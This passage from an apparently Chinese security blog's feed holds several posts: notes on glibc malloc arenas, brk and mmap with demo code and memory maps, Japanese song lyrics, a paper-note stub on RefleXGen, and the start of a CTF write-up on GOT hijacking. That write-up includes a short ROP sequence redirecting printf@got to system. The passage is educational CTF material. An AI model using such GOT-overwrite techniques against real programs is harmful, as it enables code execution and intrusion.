的堆尚不存在,但其栈已产生(进入对应的函数了)</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs bash">Before malloc <span class="hljs-keyword">in</span> thread 1<br><br><br>00400000-00401000 r-xp 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading<br>00600000-00601000 rw-p 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading<br>020c1000-020e2000 rw-p 00000000 00:00 0 [heap]<br>7fae130e4000-7fae130e5000 ---p 00000000 00:00 0 <br>7fae130e5000-7fae138e5000 rw-p 00000000 00:00 0 <br>7fae138e5000-7fae13aa5000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so<br></code></pre></td></tr></table></figure><h4 id="在thread1-malloc之后"><a href="#在thread1-malloc之后" class="headerlink" title="在thread1 malloc之后"></a>在thread1 malloc之后</h4><p>thread1 的堆段建立在了内存映射段中,这也表明了堆内存是使用 mmap 系统调用产生的,而非同主线程一样使用 sbrk 系统调用。类似地,尽管用户只请求了 1000B,但是映射到程地址空间的堆内存足有 1MB。这 1MB 中,只有 132KB 被设置了读写权限,并成为该线程的堆内存。这段连续内存(132KB)被称为thread arena。</p><blockquote><p>注意:当用户请求超过 128KB(比如 malloc(132*1024)) 大小并且此时 arena 中没有足够的空间来满足用户的请求时,内存将通过 mmap 系统调用(不再是 sbrk)分配,而不论请求是发自 main arena 还是 thread arena。</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs bash">7fae138e5000-7fae13aa5000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.soAfter malloc and before free <span class="hljs-keyword">in</span> thread 1<br><br><br>00400000-00401000 r-xp 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading<br>00600000-00601000 rw-p 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading<br>020c1000-020e2000 rw-p 00000000 00:00 0 [heap]<br>7fae0c000000-7fae0c021000 rw-p 00000000 00:00 0 <br>7fae0c021000-7fae10000000 ---p 00000000 00:00 0 <br>7fae130e4000-7fae130e5000 ---p 00000000 00:00 0 <br>7fae130e5000-7fae138e5000 rw-p 00000000 00:00 0 <br>7fae138e5000-7fae13aa5000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so<br></code></pre></td></tr></table></figure><h4 id="在thread1-free之后"><a href="#在thread1-free之后" class="headerlink" title="在thread1 free之后"></a>在thread1 free之后</h4><p><code>free</code> 不会把内存归还给操作系统,而是移交给分配器,然后添加在了thread arenas bin中</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs bash">After free <span class="hljs-keyword">in</span> thread 1<br><br><br>00400000-00401000 r-xp 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading<br>00600000-00601000 rw-p 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading<br>020c1000-020e2000 rw-p 00000000 00:00 0 [heap]<br>7fae0c000000-7fae0c021000 rw-p 00000000 00:00 0 <br>7fae0c021000-7fae10000000 ---p 00000000 00:00 0 <br>7fae130e4000-7fae130e5000 ---p 00000000 00:00 0 <br>7fae130e5000-7fae138e5000 rw-p 00000000 00:00 0 <br>7fae138e5000-7fae13aa5000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so<br></code></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>虽然实际实验的结果并没有那么理想,但是我们可以总结其中我们需要理解的点。</p><ol><li><p>ptmalloc中可以支持多线程同时申请堆块,并且每个线程可以独立管理。</p></li><li><p>主线程中产生的areana是brk产生的,线程中是mmap产生的。</p></li><li><p>第一次brk、mmap的堆空间的申请都会产生一块很大的空间(主:132kb的堆;线程:1MB,132KB 被设置了读写权限)</p></li><li><p>申请的堆空间被free后并不是直接返还,而是给分配器,后续按照bin进行处理管理。</p></li></ol><h1 id="glibc-malloc-arena"><a href="#glibc-malloc-arena" class="headerlink" title="glibc_malloc_arena"></a>glibc_malloc_arena</h1><h2 id="Arena"><a href="#Arena" class="headerlink" title="Arena"></a>Arena</h2><h3 id="arena的数量"><a href="#arena的数量" class="headerlink" title="arena的数量"></a>arena的数量</h3><p>上面可以见的,主线程中包含main areana,而线程中可以包含其自己管理的thread arena。但是线程拥有的arena数量受限制系统核数(数量过多,开销过高,效率降低)</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs bash">For 32 bit systems:<br>Number of arena = 2 * number of cores.<br>For 64 bit systems:<br>Number of arena = 8 * number of cores.<br></code></pre></td></tr></table></figure><h3 id="Multiple-Arena"><a href="#Multiple-Arena" class="headerlink" title="Multiple Arena"></a>Multiple Arena</h3><p>(arena共享、复用?)<br>例如,现有有一个场景有一个运行在单核计算机上的32位操作系统上的多线程应用,开启了四个线程(一个主线程+3个线程)。这里的线程数4>(2*1),所以分配器中可能有arena会被线程共享。</p><p>那么如何进行共享的呢?</p><blockquote><ol><li>当主线程第一次调用malloc,已经建立的main areana会被没有任何竞争的使用。</li><li>当thread1和thread2第一次调用malloc的时候,新的 arena 将被创建,且将被没有任何竞争地使用。此时线程和 arena 之间存在一一映射关系。</li><li>当thread3第一次调用 malloc 时,arena 的数量限制被计算出来,结果显示已超出,因此尝试复用已经存在的 arena(也即 Main arena 或 Arena 1 或 Arena 2);</li><li>复用:<ul><li>一旦遍历到可用arena,就开始自旋申请该arena的锁;</li><li>如果上锁成功(比如说main arena上锁成功),就将该arena返回用户;</li><li>如果没找到可用arena,thread 3的malloc将被阻塞,直到有可用的arena为止。</li></ul></li><li>当thread 3调用 malloc时(第二次了),分配器会尝试使用上一次使用的 arena(也即,main arena),从而尽量提高缓存命中率。当 main arena 可用时就用,否则 thread 3 就一直阻塞,直至 main arena 空闲。因此现在 main arena 实际上是被 main thread 和 thread 3 所共享。</li></ol></blockquote><h3 id="Multiple-Heaps"><a href="#Multiple-Heaps" class="headerlink" title="Multiple Heaps"></a>Multiple Heaps</h3><p>在glibc malloc中主要有3种数据结构:</p><ul><li><a href="https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/arena.c#L59">heap_info</a> ——Heap Header—— 一个thread arena可以维护多个堆。每个堆都有自己的堆 Header(注:也即头部元数据)。一般情况下,每个thread arena都只维护一个堆,什么时候Thread Arena会维护多个堆呢?当这个堆的空间耗尽时,新的堆(而非连续内存区域)就会被mmap到这个 aerna里;</li><li><a href="https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/malloc.c#L1671">malloc_state</a> ——Arena header—— 一个thread arena可以维护多个堆,这些堆另外共享同一个 arena header。Arena header描述的信息包括:bins、top chunk、last remainder chunk等;</li><li><a href="https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/malloc.c#L1108">malloc_chunk</a> ——Chunk header—— 根据用户请求,每个堆被分为若干chunk。每个chunk都有自己的 chunk header。</li></ul><blockquote><p>Main arena无需维护多个堆,因此也无需heap_info。当空间耗尽时,与thread arena不同,main arena可以通过 sbrk拓展堆段,直至堆段碰到内存映射段;<br>与thread arena不同,main arena的arena header不是保存在通过sbrk申请的堆段里,而是作为一个全局变量,可以在libc.so的数据段中找到。 </p></blockquote><p><img src="/images/heap_glibc_malloc_bin/threading1.png"><br><img src="/images/heap_glibc_malloc_bin/threading2.png"></p><h1 id="glibc-malloc-system-call"><a href="#glibc-malloc-system-call" class="headerlink" title="glibc_malloc_system_call"></a>glibc_malloc_system_call</h1><h2 id="Syscalls-used-by-malloc"><a href="#Syscalls-used-by-malloc" class="headerlink" title="Syscalls used by malloc"></a>Syscalls used by malloc</h2><h3 id="brk"><a href="#brk" class="headerlink" title="brk"></a>brk</h3><p>brk通过增加程序中断位置(program break location / brk)从内核中获取内存(非零初始化),最初,堆段的起始(start_brk)和结束(brk)指向相同的位置。</p><blockquote><p>当ASLR关闭时,start_brk和brk将指向data/bss段的end(end_data)<br>当ASLR打开时,start_brk和brk将指向data/bss段的end(end_data)加上随机的brk的偏移。</p></blockquote><p><img src="/images/heap_glibc_malloc_bin/start_brk_brk.png"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">/* sbrk and brk example */</span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><unistd.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><sys/types.h></span></span><br><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-type">void</span> *curr_brk, *tmp_brk = <span class="hljs-literal">NULL</span>;<br><br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Welcome to sbrk example:%d\n"</span>, getpid());<br><br> <span class="hljs-comment">/* sbrk(0) gives current program break location */</span><br> tmp_brk = curr_brk = sbrk(<span class="hljs-number">0</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Program Break Location1:%p\n"</span>, curr_brk);<br> getchar();<br><br> <span class="hljs-comment">/* brk(addr) increments/decrements program break location */</span><br> brk(curr_brk+<span class="hljs-number">4096</span>);<br><br> curr_brk = sbrk(<span class="hljs-number">0</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Program break Location2:%p\n"</span>, curr_brk);<br> getchar();<br><br> brk(tmp_brk);<br><br> curr_brk = sbrk(<span class="hljs-number">0</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Program Break Location3:%p\n"</span>, curr_brk);<br> getchar();<br><br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><p>输出:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs bash"> ./brk <br>Welcome to sbrk example:6699<br>Program Break Location1:0x21cd000 -> <span class="hljs-built_in">cat</span> map(下)<br><br>Program <span class="hljs-built_in">break</span> Location2:0x21ce000<br><br>Program Break Location3:0x21cd000<br></code></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">cat</span> /proc/6699/maps<br>00400000-00401000 r-xp 00000000 08:01 789617 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/brk<br>00600000-00601000 rw-p 00000000 08:01 789617 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/brk<br>021ac000-021ce000 rw-p 00000000 00:00 0 [heap]<br>7f0b29077000-7f0b29237000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so<br>7f0b29237000-7f0b29437000 ---p 001c0000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so<br>7f0b29437000-7f0b2943b000 r--p 001c0000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so<br>7f0b2943b000-7f0b2943d000 rw-p 001c4000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so<br>7f0b2943d000-7f0b29441000 rw-p 00000000 00:00 0 <br>7f0b29441000-7f0b29467000 r-xp 00000000 08:01 2629229 /lib/x86_64-linux-gnu/ld-2.23.so<br>7f0b29642000-7f0b29645000 rw-p 00000000 00:00 0 <br>7f0b29666000-7f0b29667000 r--p 00025000 08:01 2629229 /lib/x86_64-linux-gnu/ld-2.23.so<br>7f0b29667000-7f0b29668000 rw-p 00026000 08:01 2629229 /lib/x86_64-linux-gnu/ld-2.23.so<br>7f0b29668000-7f0b29669000 rw-p 00000000 00:00 0 <br>7ffcb750d000-7ffcb752e000 rw-p 00000000 00:00 0 [stack]<br>7ffcb7598000-7ffcb759b000 r--p 00000000 00:00 0 [vvar]<br>7ffcb759b000-7ffcb759d000 r-xp 00000000 00:00 0 [vdso]<br>ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]<br></code></pre></td></tr></table></figure><h3 id="mmap"><a href="#mmap" class="headerlink" title="mmap"></a>mmap</h3><p>malloc通过mmap进行私有匿名的段映射。私有匿名映射的目的是分配新内存(零填充),而新内存将由调用进程使用。</p><h4 id="分析实例"><a href="#分析实例" class="headerlink" title="分析实例"></a>分析实例</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><code class="hljs bash">/* Private anonymous mapping example using mmap syscall */<br><span class="hljs-comment">#include <stdio.h></span><br><span class="hljs-comment">#include <sys/mman.h></span><br><span class="hljs-comment">#include <sys/types.h></span><br><span class="hljs-comment">#include <sys/stat.h></span><br><span class="hljs-comment">#include <fcntl.h></span><br><span class="hljs-comment">#include <unistd.h></span><br><span class="hljs-comment">#include <stdlib.h></span><br><br>void static inline errExit(const char* msg)<br>{<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s failed. Exiting the process\n"</span>, msg);<br> <span class="hljs-built_in">exit</span>(-1);<br>}<br><br>int <span class="hljs-function"><span class="hljs-title">main</span></span>()<br>{<br> int ret = -1;<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Welcome to private anonymous mapping example::PID:%d\n"</span>, getpid());<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Before mmap\n"</span>);<br> getchar();<br> char* addr = NULL;<br> addr = mmap(NULL, (size_t)132*1024, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);<br> <span class="hljs-keyword">if</span> (addr == MAP_FAILED)<br> errExit(<span class="hljs-string">"mmap"</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"After mmap\n"</span>);<br> getchar();<br><br> /* Unmap mapped region. */<br> ret = munmap(addr, (size_t)132*1024);<br> <span class="hljs-keyword">if</span>(ret == -1)<br> errExit(<span class="hljs-string">"munmap"</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"After munmap\n"</span>);<br> getchar();<br> <span class="hljs-built_in">return</span> 0;<br>}<br></code></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs bash">Before mmap<br> 00400000-00401000 r-xp 00000000 08:01 789619 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/mmap<br> 00600000-00601000 rw-p 00000000 08:01 789619 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/mmap<br> 00f74000-00f95000 rw-p 00000000 00:00 0 [heap]<br> 7f46271b0000-7f4627370000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so<br><br><br>After mmap<br> 00400000-00401000 r-xp 00000000 08:01 789619 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/mmap<br> 00600000-00601000 rw-p 00000000 08:01 789619 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/mmap<br> 00f74000-00f95000 rw-p 00000000 00:00 0 [heap]<br> 7f46271b0000-7f4627370000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so<br><br>After munmap<br> 00400000-00401000 r-xp 00000000 08:01 789619 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/mmap<br> 00600000-00601000 rw-p 00000000 08:01 789619 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/mmap<br> 00f74000-00f95000 rw-p 00000000 00:00 0 [heap]<br> 7f46271b0000-7f4627370000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so<br></code></pre></td></tr></table></figure><p>理论上map之后heap段会增加一段我们设置增加的段大小0x21000的,但是实际编译出来没有产生这个效果,不清楚为什么。同样unmap以后增加的映射段会重新减掉恢复成原先映射之前的大小。</p><h3 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h3><ol><li>brk是将数据段(.data)的最高地址指针_edata往高地址推;malloc小于128k的内存使用brk分配内存。其具体操作示例见下图1,先申请一个30k的堆A,之后再申请B,malloc申请的时候都说edata段的移动既可以完成分配(实际上对应物理页需要等到进程读取内存时,发生缺页中断才会进行分配)。A需要释放的话,需要B提前释放(会产生内存碎片)。</li></ol><p><img src="/images/heap_glibc_malloc_bin/brk_push_edata.jpg"></p><ol start="2"><li>mmap是在进程的虚拟地址空间中(堆和栈中间,称为文件映射区域的地方)找一块空闲的虚拟内存进行分配。任意块需要释放可以随时释放。</li></ol><p><img src="/images/heap_glibc_malloc_bin/mmap_chunk.jpg.jpg"></p><h1 id="References"><a href="#References" class="headerlink" title="References"></a>References</h1><ul><li><a href="https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/">Understanding glibc malloc</a></li><li><a href="https://sploitfun.wordpress.com/2015/02/11/syscalls-used-by-malloc/">syscall used by malloc</a></li><li><a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/heap-structure/#bin">CTF Wiki-堆相关数据结构</a></li><li><a href="https://www.cnblogs.com/vinozly/p/5489138.html">Linux进程分配内存的两种方式–brk() 和mmap()</a></li><li>CSDN<ul><li><a href="https://blog.csdn.net/maokelong95/article/details/51989081">理解 glibc malloc:主流用户态内存分配器实现原理</a></li><li><a href="https://blog.csdn.net/qq_43390703/article/details/121366849?spm=1001.2014.3001.5501">堆基础-glibc_malloc_threading</a></li><li><a href="https://blog.csdn.net/qq_43390703/article/details/121366820?spm=1001.2014.3001.5501">堆基础-glibc_malloc_system_call</a></li><li><a href="https://blog.csdn.net/qq_43390703/article/details/121366718">堆基础-glibc_malloc_bin</a></li><li><a href="https://blog.csdn.net/qq_43390703/article/details/121366777">堆基础-glibc_malloc_chunk</a></li></ul></li></ul>]]></content>
<categories>
<category>Heap</category>
</categories>
<tags>
<tag>Heap</tag>
<tag>堆</tag>
</tags>
</entry>
<entry>
<title>恋音と雨空</title>
<link href="/2026/01/30/rain/"/>
<url>/2026/01/30/rain/</url>
<content type="html"><![CDATA[<p>「好きだよ」と伝えればいいのに<br>願う先、怖くていえず<br>「好きだよ」と「好きだよ」が<br>募っては溶けてく<br>君との時間が一秒でも長くなるなら<br>ずっとじゃなくていい<br>願いかける 恋音と雨空<br>君と離れてから数日目の土砂降りの雨の中<br>こんな日は必ず傘を届けにいった<br>いつもの待ち合わせの場所いるはずのない面影待つ<br>傘もささず、ずぶ濡れな君はそこにいた<br>悴んだ手を温めることがもう一度できるなら<br>始まりの時まで戻りたい<br>「好きだよ」と伝えればいいのに<br>願う先、怖くていえず<br>「好きじゃない?」「好きだよ?」が<br>揺れる恋と雨空<br>君との時間が一秒でも長くなるなら<br>ずっとじゃなくていい<br>雨が止むまでこのままいさせて。。。<br>信じた明日も<br>君は過去と笑うの?<br>流し去る力も無く<br>あの日のままで時間が止まる<br>雫が二つ<br>君の頬を伝う<br>絶えず止まぬ雨のせいと恋音は詠う<br>町行く恋人が羨ましく思うことが増えた<br>いつから一人が怖くなったんだろう<br>でも今は束の間の幸せ<br>できることならこのまま<br>ありふれた恋人達になりたい<br>君がここで望んでいること<br>僕がここでいいたいこと<br>今なら想いも重なるかな?<br>「好きだよ」と伝えればいいのに<br>願う先、怖くていえず<br>横顔を見つめてる<br>それだけでも もういい!<br>だけど一握りの幸せも<br>君がくれたものだから<br>本当はずっと抱きしめていたい<br>「すれ違いも、二人もう一度やり直すための試練」だって<br>すぐに言えるのなら どんなにいいだろうか<br>好きという事実通りすぎて<br>今ではもう愛している<br>失った数日間でやっと知った<br>本当はこのまま気持ち確かめたくて、、、<br>「好きだよ」と伝えればいいのに<br>願う先、怖くていえず<br>「好きだよ」と「好きだよ」が<br>募っては溶けてく<br>君との時間が一秒でも長くなるなら<br>ずっとじゃなくていい<br>願いかける 恋音と雨空 </p>]]></content>
<categories>
<category>杂言碎语</category>
</categories>
<tags>
<tag>雨天</tag>
</tags>
</entry>
<entry>
<title>【论文笔记】RefleXGen:The unexamined code is not worth using</title>
<link href="/2026/01/24/RefleXGenThe_unexamined_code_is_not_worth_using/"/>
<url>/2026/01/24/RefleXGenThe_unexamined_code_is_not_worth_using/</url>
<content type="html"><![CDATA[<h2 id="基本信息"><a href="#基本信息" class="headerlink" title="基本信息"></a>基本信息</h2><blockquote><p><strong>Title:</strong> RefleXGen: The unexamined code is not worth using<br><strong>Authors:</strong> Bin Wang, Hui Li*, AoFan Liu, et al.<br><strong>Affiliations:</strong> School of Electronic and Computer Engineering, Peking University (Shenzhen); China Mobile; China Telecom.<br><strong>Conference:</strong> <em>2025 IEEE International Conference on Acoustics, Speech and Signal Processing (ICASSP)</em><br><strong>DOI:</strong> 10.1109/ICASSP49660.2025.1089082<br><strong>PDF:</strong> <a href="https://arxiv.org/html/2510.23674v1">arXiv:2510.23674</a></p></blockquote>]]></content>
<categories>
<category>Paper</category>
</categories>
<tags>
<tag>LLM</tag>
<tag>Code Generation</tag>
<tag>LLM安全</tag>
<tag>RAG</tag>
</tags>
</entry>
<entry>
<title>前世今生之Hijack Got</title>
<link href="/2026/01/24/fmtstr-exploit-hijackgot/"/>
<url>/2026/01/24/fmtstr-exploit-hijackgot/</url>
<content type="html"><![CDATA[<h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p>在目前的 C 程序中,libc 中的函数都是通过 GOT 表来跳转的。此外,在没有开启 RELRO 保护的前提下,<strong>每个 libc 的函数对应的 GOT 表项是可以被修改的</strong>。因此,我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而,程序在执行 printf 的时候实际执行的是 system 函数。</p><p>假设我们将函数 A 的地址覆盖为函数 B 的地址,那么这一攻击技巧可以分为以下步骤:</p><ul><li>确定函数 A 的 GOT 表地址。<ul><li>这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。</li></ul></li><li>确定函数 B 的内存地址<ul><li>这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。</li></ul></li><li>将函数 B 的内存地址写入到函数 A 的 GOT 表地址处。<ul><li>这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种<ul><li>写入函数:write 函数。</li><li>ROP <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs asm">pop eax; ret; # printf@got -> eax<br>pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx<br>add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset<br></code></pre></td></tr></table></figure></li><li>格式化字符串任意地址写</li></ul></li></ul></li></ul><h2 id="例子-2016-CCTF-Pwn3"><a href="#例子-2016-CCTF-Pwn3" class="headerlink" title="例子 - 2016 CCTF Pwn3"></a>例子 - 2016 CCTF Pwn3</h2><h3 id="Checksec"><a href="#Checksec" class="headerlink" title="Checksec"></a>Checksec</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Training/Pwn/fmtstr/hijack-GOT/2016-CCTF-pwn3 on git:master x [12:18:24]</span><br>$ checksec pwn3<br>[*] <span class="hljs-string">'/home/zer0ptr/CTF-Training/Pwn/fmtstr/hijack-GOT/2016-CCTF-pwn3/pwn3'</span><br> Arch: i386-32-little<br> RELRO: Partial RELRO<br> Stack: No canary found<br> NX: NX enabled<br> PIE: No PIE (0x8048000)<br> Stripped: No<br></code></pre></td></tr></table></figure><p>可以看出程序主要开启了 NX 保护。我们一般默认远程都是开启 ASLR 保护的。</p><h3 id="分析程序"><a href="#分析程序" class="headerlink" title="分析程序"></a>分析程序</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> __cdecl __noreturn <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">int</span> argc, <span class="hljs-type">const</span> <span class="hljs-type">char</span> **argv, <span class="hljs-type">const</span> <span class="hljs-type">char</span> **envp)</span><br>{<br> <span class="hljs-type">int</span> command; <span class="hljs-comment">// eax</span><br> <span class="hljs-type">char</span> s1[<span class="hljs-number">40</span>]; <span class="hljs-comment">// [esp+14h] [ebp-2Ch] BYREF</span><br> <span class="hljs-type">int</span> v5; <span class="hljs-comment">// [esp+3Ch] [ebp-4h]</span><br><br> setbuf(<span class="hljs-built_in">stdout</span>, <span class="hljs-number">0</span>);<br> ask_username(s1);<br> ask_password(s1);<br> <span class="hljs-keyword">while</span> ( <span class="hljs-number">1</span> )<br> {<br> <span class="hljs-keyword">while</span> ( <span class="hljs-number">1</span> )<br> {<br> print_prompt();<br> command = get_command();<br> v5 = command;<br> <span class="hljs-keyword">if</span> ( command != <span class="hljs-number">2</span> )<br> <span class="hljs-keyword">break</span>;<br> put_file();<br> }<br> <span class="hljs-keyword">if</span> ( command == <span class="hljs-number">3</span> )<br> {<br> show_dir();<br> }<br> <span class="hljs-keyword">else</span><br> {<br> <span class="hljs-keyword">if</span> ( command != <span class="hljs-number">1</span> )<br> <span class="hljs-built_in">exit</span>(<span class="hljs-number">1</span>);<br> get_file();<br> }<br> }<br>}<br></code></pre></td></tr></table></figure><p>get_file func</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span 